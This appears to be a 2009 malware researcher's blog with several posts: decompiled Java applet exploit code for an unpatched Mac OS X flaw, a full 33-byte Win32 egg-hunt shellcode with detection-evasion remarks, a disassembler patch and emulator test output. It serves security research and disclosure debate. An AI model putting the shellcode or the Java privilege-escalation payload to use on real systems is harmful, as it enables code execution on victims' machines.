Malware Activity

2009-05-20

Unresponsible Disclosure: The MacOS X Java Bug

Landon Fuller decided to publish a proof of concept for a Sun Java VM vulnerability, that is still unpatched on Mac OS X. I agree that after this timespan, it was neccessary to demonstrate how easy it is to exploit this vulnerability; however, he decided to make it trivial to build your own exploit from it.

You can easily fetch HelloWorldApplet.class from his page and look at a decompiled version by JAD. He uses his own loader package fun.FunLoader, so grab fun/FunLoader.class as well. HelloWorldApplet also uses javax/Exec.class and Exec$1.class, and if we decompile that, it is trivial to spot, how to craft your own exploit:

package javax;

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class Exec
{

    public Exec()
    {
        try
        {
            final String cmd[] = {
                "/usr/bin/say", "I am executing an innocuous user process"
            };
            AccessController.doPrivileged(new PrivilegedExceptionAction() {

                public Object run()
                    throws Exception
                {
                    Runtime.getRuntime().exec(cmd);
                    return null;
                }

                final String val$cmd[];
                final Exec this$0;

            
            {
                this$0 = Exec.this;
                cmd = as;
                super();
            }
            });
        }
        catch(Exception exception)
        {
            throw new RuntimeException("Exec failed", exception);
        }
    }
}

You can even recycle all .class files and his t.tmp serialized input stream, just replace Exec.class in your local copy with your malicious payload.

Now this is unresponsible disclosure if it is so dead-easy to build your own exploit from it, it's almost easier than writing a custom shellcode for an existing exploit.

Labels: ,

2009-05-10

Death of a X200s Display

Attraction is...

... if you still talk to her.

(I made her crawl on the floor and whimper, though.)

Labels:

2009-05-08

libdasm @ Google Code

Since `jt' apparently does not have the time or envy to maintain libdasm anymore, Ange Albertini has taken the task and created a new Google Code Project for libdasm (libdasm was public domain anyway) for maintining it; my recent FPU fix is already included and I will try to get people like Silvio Cesare adding their fixes and patches as well. Thanks Ange for stepping forward!

Labels:

2009-04-10

libdasm D9h FPU Instructions Fix

libdasm incorrectly disassembles FPU instructions with D9 prefix and second byte > fnop. Affected instructions amongst others include fsin, fcos and frndint. The reason is simple, there is four NULL lines missing in the correspondending opcode table, resulting in an off-by-four for the following opcodes. I've sent a very simple patch to the libdasm author, until it is included in a release, it's here as well:

$ cat libdasm-1.5-fpufix-d9prefix.patch 
--- libdasm-1.5/opcode_tables.h 2006-02-21 15:29:41.000000000 +0100
+++ libdasm-1.5-fpufix/opcode_tables.h 2009-04-10 13:32:20.000000000 +0200
@@ -1818,6 +1818,10 @@
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    "fchs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    "fabs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 

I've stumbled across this while trying to use my (pefile and pydasm based) code normalizer on a malware packer using float's for looping.

Labels: ,

2009-04-03

PE Sandboxing

Because I'm frustrated about the poor scalability of most sandboxes out there, which quite frankly don't deserve their name anyway, because they're just VMs with some Ring 0 rootkit, I've started some work on dynamic code analysis by a per-process level PE sandbox. So far, I've got the execution of arbitrary code with virtual memory; I had PE loading, but deleted it and could not recover from ext3 (vlashef being my witness).

There are two testcases of interest, the first regarding performance:

$ cat testcases/simple-loop.asm 
[bits 32]


start:
 mov ecx, 0x100000
 xor eax, eax

.1:
 inc eax
 dec ecx
 jnz .1

end:
 int3

Due to some fancy analysis (admittedly, so far it only supports backward jumps), we can put more than one basic block directly on the CPU:

$ time ./libcpu-test 100 < testcases/simple-loop.bin 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37cd2000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x380cd000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  > mov ecx,0x100000
  > xor eax,eax
  > inc eax
  > dec ecx
  > jnz 0x400007
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x380d1000 b
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
Unrecognized instruction for emulation: int3 cc 1

real 0m0.005s
user 0m0.004s
sys 0m0.000s

The second example is more interesting, because it shows the ability to handle self-modifying code. The following snippet copies itself right behind itself and then runs into the copy without any jump:

$ cat testcases/copysled.asm 
[bits 32]


start:
 mov ebx, 0x10

sled:
 call $+5
 pop esi
 sub esi, 5

 mov edi, esi
 mov ecx, end-sled
 add edi, ecx

 rep movsb

 dec ebx
 jnz end

 int3

end:
 hlt

For obvious reasons, I've cut out some of the output in the middle:

bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37c6f000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x3806a000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  > mov ebx,0x10
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e000 5
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
Emulating CALL instruction from 40000a.
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e005 0
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
  > pop esi
  > sub esi,0x5
  > mov edi,esi
  > mov ecx,0x1b
  > add edi,ecx
  > rep movsb 
  > dec ebx
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e00a 13
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
---
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
  > rep movsb 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01a 2
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
---
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
  > dec ebx
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01c 1
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 0000000f
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000216
eip: 0040001d
---
[[[ CUT ]]]
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b2
Emulating Jcc 1: 0
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e1b2 0
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
Unrecognized instruction for emulation: int3 cc 1

real 0m0.006s
user 0m0.004s
sys 0m0.000s

Labels:

2009-03-04

inspircd

I have just today come across inspircd, a great IRC server. It is very modular and has an astonishing default feature set with amazingly good configuration documentation, compared to other ircd's out there. Probably also very nice for hosting your botnet, thanks to its modularity.

irssi to inspircd

Labels: ,

2009-02-18

Win32 Egg Search Shellcode, 33 bytes

For a current collaboration on taking down yet another botnet, I had to write a very small shellcode. Thanks to some ideas from Understanding Windows Shellcode by skape, I managed to write a egg search shellcode in 33 bytes.

The general idea of the AddAtomA int 2e memory testing was public, but the best implementation I could find was 40 bytes long (skape's one) and had the limitation of an executable marker. This one is 33 bytes long and you can choose any four byte marker you want. If we wouldn't start at 0, we could save two more bytes going down to 31, but this makes search a lot slower. There is a 32 byte version by skape that requires page aligned 2nd stage, which is not really comparable because it again requires an executable marker and a 2nd stage injection of at least 4kb with a long marker sled. Sill I first got the int 2e idea from his paper, so credits to him for that.

The only real limitation of this shellcode is that your second stage may not be within the first four bytes of a page boundary. Theoretical probability is < 0.1%, having heap allocator designs in mind, it is even less probable.
If this is a severe stability limitation for you, there is two solutions:

  1. Use an executable marker and put it in front of the shellcode twice. Usually, it will trigger in the first four bytes and jump into the second marker. If it really is page aligned, it will jump right after the second marker.
  2. Use any (non-executable) marker and put a second marker with a relative jump to your shellcode after the shellcode.

This shellcode is 100% position independent w/o any GetPC sequence, so it won't be detected by libemu and similiar things (although this wasn't a design goal but just a side effect). The second stage shellcode can also be implemented without any GetPC sequence, as it gets its own address passed in edx.

There is a weird inc ebx instruction at the end of the shellcode, but for a good reason: If this eggsearch shellcode lies in memory before the actual shellcode, our search will stop at the imm32 of the cmp r/m32, imm32 instruction and the jmp edx will go to the next instruction, jne (= jnz) address_loop. The inc ebx ensures that ZF is not set (unless we're very unlucky and our exploitation environment had the otherwise unused ebx register set to 0xffffffff) and thus our search continues at the next address.

; win32 eggsearch shellcode, 33 bytes
; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
; (c) 2009 by Georg 'oxff' Wicherski 

[bits 32]

marker equ 0x1f217767   ; 'gw!\x1f'

start:
 xor edx, edx   ; edx = 0, pointer to examined address
      
address_loop:
 inc edx    ; edx++, try next address

pagestart_check:
 test dx, 0x0ffc   ; are we within the first 4 bytes of a page?
 jz address_loop   ; if so, try next address as previous page might be unreadable
     ; and the cmp [edx-4], marker might result in a segmentation fault

access_check:
 push edx   ; save across syscall
 push byte 8   ; eax = 8, syscall nr of AddAtomA
 pop eax    ; ^
 int 0x2e   ; fire syscall (eax = 8, edx = ptr)
 cmp al, 0x05   ; is result 0xc0000005? (a bit sloppy)
 pop edx    ;

 je address_loop   ; jmp if result was 0xc0000005

egg_check:
 cmp dword [edx-4], marker ; is our egg right before examined address?
 jne address_loop  ; if not, try next address

egg_execute:
 inc ebx    ; make sure, zf is not set
 jmp edx    ; we found our egg at [edx-4], so we can jmp to edx

Labels: ,

2008-10-30

GovCERT.nl 2008 Slides

My GovCERT.nl 2008 slides are online now.

Labels: , ,

2008-10-11

mwcollect Alliance Webinterface Development

2008-05-01

Reflect Yourself

Mayday 2008 was a total blast, DJ Korsakoff made a hell of a performance. Eventhough I didn't sleep the last 30 hours or so, I'm still rather awake due to the coffinated water they sold. I'll update this blog post with some own trashy mobile phone video later.

We are still here!

Labels: